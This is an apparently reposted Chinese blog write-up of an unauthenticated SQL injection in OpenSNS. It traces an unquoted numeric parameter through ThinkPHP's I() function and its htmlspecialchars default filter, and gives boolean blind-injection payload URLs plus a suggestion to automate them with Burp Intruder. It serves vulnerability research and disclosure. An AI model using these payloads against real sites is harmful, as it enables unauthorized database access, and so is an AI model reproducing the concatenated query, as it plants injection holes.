IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    opensns最新版前台无限制注入(无需登录无视GPC)

    没穿底裤发表于 2016-07-23 01:34:20
    love 0

    漏洞触发点在/Application/People/Controller/IndexController.class.php中第48行:

    public function area()
    
        {
    
            $map = $this->setMap();
    
            $arearank = I('get.arearank', 0);
    
            $arealv = I('get.arealv');
    
            $areaname = I('get.areaname');
    
            if ($arearank == null || $arearank == 0) {
    
                $map['pos_province'] =array('neq','');
    
            } else {
    
                switch ($arealv) {
    
                    case 1:
    
                        $map['pos_province'] = $arearank;
    
                        break;
    
                    case 2:
    
                        $map['pos_city'] = $arearank;
    
                        break;
    
                    case 3:
    
                        $map['pos_district'] = $arearank;
    
                        break;
    
                    default:
    
                        $map['pos_province'] != null;
    
                }
    
            }
    
    
    
    
    
            $map['status'] = 1;
    
            $map['last_login_time'] = array('neq', 0);
    
            $peoples = S('People_peoples_' . I('page', 0, 'intval') . '_' . serialize($map));
    
            if (empty($peoples)) {
    
                $peoples = D('Member')->where($map)->field('uid', 'reg_time', 'last_login_time')->order('last_login_time desc')->findPage(12);
    
    
    
                $userConfigModel = D('Ucenter/UserConfig');
    
                $titleModel = D('Ucenter/Title');
    
    
    
    
    
                foreach ($peoples['data'] as &$v) {
    
                    $v = query_user(array('title', 'avatar128', 'nickname', 'uid', 'space_url', 'score', 'title', 'fans', 'following', 'rank_link', 'pos_province', 'pos_city', 'pos_district'), $v['uid']);
    
                    $v['province'] = get_area_name($v['pos_province']);
    
                    $v['city'] = get_area_name($v['pos_city']);
    
                    $v['district'] = get_area_name($v['pos_district']);
    
    
    
                    $v['level'] = $titleModel->getCurrentTitleInfo($v['uid']);
    
                    //获取用户封面id
    
                    $where = getUserConfigMap('user_cover', '', $v['uid']);
    
                    $where['role_id'] = 0;
    
                    $model = $userConfigModel;
    
                    $cover = $model->findData($where);
    
                    $v['cover_id'] = $cover['value'];
    
                    $v['cover_path'] = getThumbImageById($cover['value'], 273, 80);
    
                }
    
                unset($v);
    
                S('People_peoples_' .I('page',0,'intval').'_' . serialize($map), $peoples, 3600);
    
            }
    
    
    
            //地区信息
    
            $district = M('district');
    
            $areanumber = M('member');
    
            $areadata = $district->where('upid=' . $arearank)->select();
    
            //地区人数
    
            foreach ($areadata as &$v1) {
    
                switch ($v1['level']) {
    
                    case 1:
    
                        $res = $areanumber->where(array('pos_province' => $v1['id']))->count();
    
                        $v1['number'] = $res;
    
                        break;
    
                    case 2:
    
                        $res = $areanumber->where(array('pos_city' => $v1['id']))->count();
    
                        $v1['number'] = $res;
    
                        break;
    
                    case 3:
    
                        $res = $areanumber->where(array('pos_district' => $v1['id']))->count();
    
                        $v1['number'] = $res;
    
                        break;
    
                    default:
    
                        $res = 0;
    
                }
    
            }
    
            unset($v1);
    
    
    
            if ($areadata == null) {
    
                $areadata = $district->where('id=' . $arearank)->field('upid', true)->select();
    
            }
    
    
    
            $this->assign('tag_arealist', $areadata);
    
            if ($areaname == null) {
    
                $this->assign('areaname', "");
    
                $this->assign('goback', "");
    
            } else {
    
                $this->assign('areaname', $areaname . ':');
    
                $this->assign('goback', "返回");
    
            }
    
            $this->assign('tab', 'area');
    
            $this->assign('lists', $peoples);
    
            $this->display();
        }

    我们可以看到对$arearank有这样一个赋值操作:$arearank = I(‘get.arearank’, 0);
    我们跟踪一下I()函数,在/ThinkPHP/Common/functions.php中第343行:

    function I($name, $default = '', $filter = null, $datas = null)
    
    {
    
        if (strpos($name, '.')) { // 指定参数来源
    
            list($method, $name) = explode('.', $name, 2);
    
        } else { // 默认为自动判断
    
            $method = 'param';
    
        }
    
        switch (strtolower($method)) {
    
            case 'get'     :
    
                $input =& $_GET;
    
                break;
    
            case 'post'    :
    
                $input =& $_POST;
    
                break;
    
            case 'put'     :
    
                parse_str(file_get_contents('php://input'), $input);
    
                break;
    
            case 'param'   :
    
                switch ($_SERVER['REQUEST_METHOD']) {
    
                    case 'POST':
    
                        $input = $_POST;
    
                        break;
    
                    case 'PUT':
    
                        parse_str(file_get_contents('php://input'), $input);
    
                        break;
    
                    default:
    
                        $input = $_GET;
    
                }
    
                break;
    
            case 'path'    :
    
                $input = array();
    
                if (!empty($_SERVER['PATH_INFO'])) {
    
                    $depr = C('URL_PATHINFO_DEPR');
    
                    $input = explode($depr, trim($_SERVER['PATH_INFO'], $depr));
    
                }
    
                break;
    
            case 'request' :
    
                $input =& $_REQUEST;
    
                break;
    
            case 'session' :
    
                $input =& $_SESSION;
    
                break;
    
            case 'cookie'  :
    
                $input =& $_COOKIE;
    
                break;
    
            case 'server'  :
    
                $input =& $_SERVER;
    
                break;
    
            case 'globals' :
    
                $input =& $GLOBALS;
    
                break;
    
            case 'data'    :
    
                $input =& $datas;
    
                break;
    
            default:
    
                return NULL;
    
        }
    
        if ('' == $name) { // 获取全部变量
    
            $data = $input;
    
            array_walk_recursive($data, 'filter_exp');
    
            $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
    
            if ($filters) {
    
                if (is_string($filters)) {
    
                    $filters = explode(',', $filters);
    
                }
    
                foreach ($filters as $filter) {
    
                    $data = array_map_recursive($filter, $data); // 参数过滤
    
                }
    
            }
    
        } elseif (isset($input[$name])) { // 取值操作
    
            $data = $input[$name];
    
            is_array($data) && array_walk_recursive($data, 'filter_exp');
    
            $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
    
            if ($filters) {
    
                if (is_string($filters)) {
    
                    $filters = explode(',', $filters);
    
                } elseif (is_int($filters)) {
    
                    $filters = array($filters);
    
                }
    
    
    
                foreach ($filters as $filter) {
    
                    if (function_exists($filter)) {
    
                        $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
    
                    } else {
    
                        $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
    
                        if (false === $data) {
    
                            return isset($default) ? $default : NULL;
    
                        }
    
                    }
    
                }
    
            }
    
        } else { // 变量默认值
    
            $data = isset($default) ? $default : NULL;
    
        }
    
        return $data;
    
    }

    可以看到这是一个取值得函数,那么$arearank就是取GET传进来的arearank的值,如果不存在,那么默认值为0。

    但是可以看到I()函数有四 个参数,但是在$arearank这里只有两个参数,而第三个参数是filter,也就是过滤参数,可以看到如果没有filter参数的话,就按照默认的 过滤参数来过滤,也就是$filters = isset($filter) ? $filter : C(‘DEFAULT_FILTER’);

    我们可以看一下DEFAULT_FILTER这个对应怎样的过滤函数,在/ThinkPHP/Conf/convention.php中第53行对DEFAULT_FILTER有定义:
    ‘DEFAULT_FILTER’ => ‘htmlspecialchars’, // 默认参数过滤方法 用于I函数

    也就是如果没有指定过滤函数,那么就用htmlspecialchars()这个函数对值进行过滤。

    那么我们继续回到上文,$arearank这个变量的值是由GET传递进来的arearank经过htmlspecialchars()处理后的值。

    那么$arearank这个变量又带入到了哪一步操作中呢,我们可以看下文有一处操作:

    $areadata = $district->where('upid=' . $arearank)->select();

    直接将$arearank与upid=做拼接然后组装到了where语句中,周围并无引号进行包裹,是一个数字型的注入。

    所以可以无视GPC。因为访问漏洞触发点是不需要登陆的,所以不需要登陆既可以注入。

    因为无报错,所以只能用盲注,这里我选择用bool盲注:

    payload:

    http://localhost/index.php?s=/people/index/area.html&arearank=-1) or (1=1

    这会返回一个页面(1=1):
    1
    我们改一下payload:

    http://localhost/index.php?s=/people/index/area.html&arearank=-1) or (1=2

    又会出现另一个页面(1=2):
    1
    由于手工测比较麻烦,我们利用burpsuite中的intruder模块来自动化,如图所示:
    1



沪ICP备19023445号-2号
友情链接